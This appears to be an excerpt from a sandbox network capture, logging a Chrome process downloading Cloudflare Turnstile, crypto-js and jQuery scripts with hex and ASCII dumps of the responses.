2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 Data Ascii: av0/rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUB
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 63 74 7c 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 Data Ascii: ct\|\|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 73 2c 6e 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 Data Ascii: s,n);var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 Data Ascii: cument.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.st

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49726	104.17.25.14	443	4800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:22 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:05:22 UTC	964	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:05:22 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 411499 Expires: Sun, 23 Nov 2025 08:05:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f3%2Fy%2BdI2Mv9kWaUVr9LDdYR3zr2etL%2BEy8aKca6sD6nby0444RMvXpmZTbDzO1SY7SBvCDpedP%2FtZV3YD6c0zBzD6%2Fh%2FckIMvp52wfUbMAJ1vHoULhrR0lsPjXJtaSoh53f9HiLl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ec20d213a4e0f5b-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:05:22 UTC	405	IN	Data Raw: 33 39 37 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 397a!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 Data Ascii: typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Objec
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d Data Ascii: lone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.random
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d Data Ascii: "==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b Data Ascii: {for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 Data Ascii: ?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<1
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 Data Ascii: buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={string
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJK
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 Data Ascii: .abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49727	151.101.2.137	443	4800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:22 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:05:22 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 03 Dec 2024 08:05:22 GMT Age: 1734654 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740077-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 1 X-Timer: S1733213123.797234,VS0,VE1 Vary: Accept-Encoding
2024-12-03 08:05:23 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-03 08:05:23 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 